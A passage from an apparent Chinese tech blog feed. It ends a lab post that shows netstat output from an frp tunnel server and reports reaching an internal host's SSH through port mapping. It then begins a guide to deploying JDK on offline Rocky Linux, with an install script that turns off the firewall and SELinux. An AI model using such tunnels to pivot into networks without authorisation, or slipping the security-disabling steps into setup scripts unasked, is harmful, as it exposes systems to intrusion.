tcp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;127.0.0.1:631&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0.0.0.0:*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LISTEN&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1254/cupsd&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
tcp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;0.0.0.0:22767&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0.0.0.0:*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LISTEN&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2039/python3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
tcp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;0.0.0.0:888&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0.0.0.0:*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LISTEN&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1245/nginx:&amp;nbsp;master&amp;nbsp;&amp;nbsp;
tcp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;0.0.0.0:80&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0.0.0.0:*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LISTEN&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1245/nginx:&amp;nbsp;master&amp;nbsp;&amp;nbsp;
tcp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;0.0.0.0:53&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0.0.0.0:*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LISTEN&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1256/dnsmasq&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
tcp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;0.0.0.0:22&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0.0.0.0:*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LISTEN&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1351/sshd:&amp;nbsp;/usr/sbi&amp;nbsp;
tcp6&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;:::3306&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:::*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LISTEN&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2022/mysqld&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
tcp6&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;:::7500&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:::*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LISTEN&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;5510/./frps&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
tcp6&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;:::60022&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:::*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LISTEN&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;5510/./frps&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
tcp6&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;::1:6011&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:::*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LISTEN&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;5442/sshd:&amp;nbsp;ubuntu@p&amp;nbsp;
tcp6&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;::1:6010&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:::*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LISTEN&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2999/sshd:&amp;nbsp;ubuntu@p&amp;nbsp;
tcp6&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;:::17000&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:::*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LISTEN&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;5510/./frps&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
tcp6&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;:::53&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:::*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LISTEN&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1256/dnsmasq&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
tcp6&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;:::22&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:::*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LISTEN&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1351/sshd:&amp;nbsp;/usr/sbi&amp;nbsp;
tcp6&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;::1:631&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:::*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LISTEN&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1254/cupsd&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
udp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;0.0.0.0:5353&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0.0.0.0:*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1111/avahi-daemon:&amp;nbsp;&amp;nbsp;
udp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;0.0.0.0:53&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0.0.0.0:*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1256/dnsmasq&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
udp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;192.168.2.156:68&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0.0.0.0:*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1097/systemd-networ&amp;nbsp;
udp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;0.0.0.0:57732&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0.0.0.0:*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1111/avahi-daemon:&amp;nbsp;&amp;nbsp;
udp6&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;:::5353&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:::*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1111/avahi-daemon:&amp;nbsp;&amp;nbsp;
udp6&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;:::55221&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:::*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1111/avahi-daemon:&amp;nbsp;&amp;nbsp;
udp6&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&amp;nbsp;:::53&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:::*&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1256/dnsmasq&lt;/pre&gt;&lt;h2&gt;攻击结果：（192.168.2.1通过访问192.168.2.156:60022登录192.168.2.135的ssh）&lt;/h2&gt;&lt;p&gt;&lt;img src=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/07/202507161752650003757579.png&quot; alt=&quot;image.png&quot; width=&quot;861&quot; height=&quot;427&quot; style=&quot;width: 861px; height: 427px;&quot;/&gt;&lt;/p&gt;&lt;p&gt;内网端口映射成功！&lt;/p&gt;</description><pubDate>Wed, 16 Jul 2025 14:17:18 +0800</pubDate></item><item><title>内网无法联网情况部署服务</title><link>https://www.yuyuxiang.top/?id=10</link><description>&lt;h1&gt;Rocky Linux8.10 部署服务&lt;/h1&gt;&lt;p&gt;web服务器：JDK+tomcat&lt;/p&gt;&lt;p&gt;数据库服务器：mysql&lt;/p&gt;&lt;p&gt;应用服务：ftp&lt;/p&gt;&lt;h2&gt;web服务器部署&lt;/h2&gt;&lt;p&gt;tomcat (java编写)部署需要依赖java环境&lt;/p&gt;&lt;h3&gt;安装JDK&lt;/h3&gt;&lt;p&gt;1、&lt;a href=&quot;https://edelivery.oracle.com/cloudgate/v1/oauth2/callback&quot; target=&quot;_self&quot;&gt;下载JDK链接&lt;/a&gt;&amp;nbsp; tar包下载后通过xftp拖到机器内&lt;/p&gt;&lt;p&gt;2、jdk安装shell脚本：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;#!/bin/bash
#&amp;nbsp;版本:&amp;nbsp;JDK_8u431_X86_64
#&amp;nbsp;name:&amp;nbsp;lyx
#&amp;nbsp;功能:&amp;nbsp;自动安装&amp;nbsp;Oracle&amp;nbsp;JDK&amp;nbsp;8u431&amp;nbsp;并配置环境变量
#&amp;nbsp;使用方法:&amp;nbsp;直接运行脚本，按提示输入&amp;nbsp;JDK&amp;nbsp;安装包路径

#&amp;nbsp;日志文件路径
LOG_FILE=&amp;quot;/var/log/jdk_install.log&amp;quot;
#&amp;nbsp;将所有输出记录到日志文件
exec&amp;nbsp;&amp;gt;&amp;nbsp;&amp;gt;(tee&amp;nbsp;-a&amp;nbsp;&amp;quot;$LOG_FILE&amp;quot;)&amp;nbsp;2&amp;gt;&amp;amp;1
echo&amp;nbsp;&amp;quot;JDK&amp;nbsp;安装开始于&amp;nbsp;$(date)&amp;quot;

#&amp;nbsp;提示用户输入&amp;nbsp;JDK&amp;nbsp;安装包路径
read&amp;nbsp;-p&amp;nbsp;&amp;quot;请输入&amp;nbsp;jdk-8u431-linux-x64.tar.gz&amp;nbsp;的完整路径:&amp;nbsp;&amp;quot;&amp;nbsp;JDK_PKG

#&amp;nbsp;检查文件是否存在
if&amp;nbsp;[&amp;nbsp;!&amp;nbsp;-f&amp;nbsp;&amp;quot;$JDK_PKG&amp;quot;&amp;nbsp;];&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&amp;quot;错误:&amp;nbsp;在路径&amp;nbsp;$JDK_PKG&amp;nbsp;未找到&amp;nbsp;JDK&amp;nbsp;安装包！&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit&amp;nbsp;1
fi

#&amp;nbsp;关闭防火墙
echo&amp;nbsp;-e&amp;nbsp;&amp;quot;正在关闭&amp;nbsp;firewalld...\n&amp;quot;
systemctl&amp;nbsp;disable&amp;nbsp;firewalld&amp;nbsp;&amp;amp;&amp;amp;&amp;nbsp;systemctl&amp;nbsp;stop&amp;nbsp;firewalld

#&amp;nbsp;禁用&amp;nbsp;SELinux
echo&amp;nbsp;-e&amp;nbsp;&amp;quot;正在禁用&amp;nbsp;SELinux...\n&amp;quot;
SESTATUS=$(grep&amp;nbsp;-i&amp;nbsp;&amp;#39;^SELINUX=&amp;#39;&amp;nbsp;/etc/selinux/config&amp;nbsp;|&amp;nbsp;awk&amp;nbsp;-F&amp;quot;=&amp;quot;&amp;nbsp;&amp;#39;{print&amp;nbsp;$2}&amp;#39;)
if&amp;nbsp;[&amp;nbsp;&amp;quot;${SESTATUS}&amp;quot;&amp;nbsp;!=&amp;nbsp;&amp;quot;disabled&amp;quot;&amp;nbsp;];&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sed&amp;nbsp;-i&amp;nbsp;&amp;quot;s/SELINUX=enforcing/SELINUX=disabled/g&amp;quot;&amp;nbsp;/etc/selinux/config
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&amp;quot;SELinux&amp;nbsp;将在重启后生效。&amp;quot;
fi

#&amp;nbsp;移除&amp;nbsp;OpenJDK（如果存在）
echo&amp;nbsp;-e&amp;nbsp;&amp;quot;正在移除&amp;nbsp;OpenJDK...\n&amp;quot;
